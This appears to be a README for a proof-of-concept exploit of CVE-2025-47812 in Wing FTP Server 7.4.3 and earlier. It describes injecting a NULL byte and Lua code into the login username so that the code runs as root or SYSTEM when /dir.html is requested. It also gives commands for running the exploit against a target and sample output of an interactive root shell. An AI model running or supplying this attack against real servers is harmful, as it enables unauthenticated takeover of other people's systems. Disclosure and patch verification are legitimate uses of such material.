
Proof-of-concept exploit for CVE-2025-47812: unauthenticated remote code execution in Wing FTP Server <= 7.4.3 via NULL byte injection in the username parameter, providing root/ SYSTEM shell access.
Unauthenticated remote code execution vulnerability in Wing FTP Server <= 7.4.3. A NULL byte injected into the
usernameparameter during login causes Lua code to be written into the session file. When/dir.htmlis accessed with the resulting session cookie, the injected code is executed — as root on Linux or SYSTEM on Windows.
/loginok.html injects a NULL byte followed by Lua code into the username field./dir.html with the returned UID cookie triggers execution of the injected Lua code.python3 -m venv venv
source venv/bin/activate
python3 -m pip install requests prompt_toolkit
python3 exploit.py -u http://TARGET
Example:
$ python3 exploit.py -u http://10.10.10.10
[*] Targeting http://10.10.10.10
[*] Logging in with injected payload...
[*] Triggering payload...
[+] Target is vulnerable! Command output:
uid=0(root) gid=0(root) groups=0(root)
[+] Shell opened. Type 'exit' or Ctrl+C to quit.
Shell> whoami
root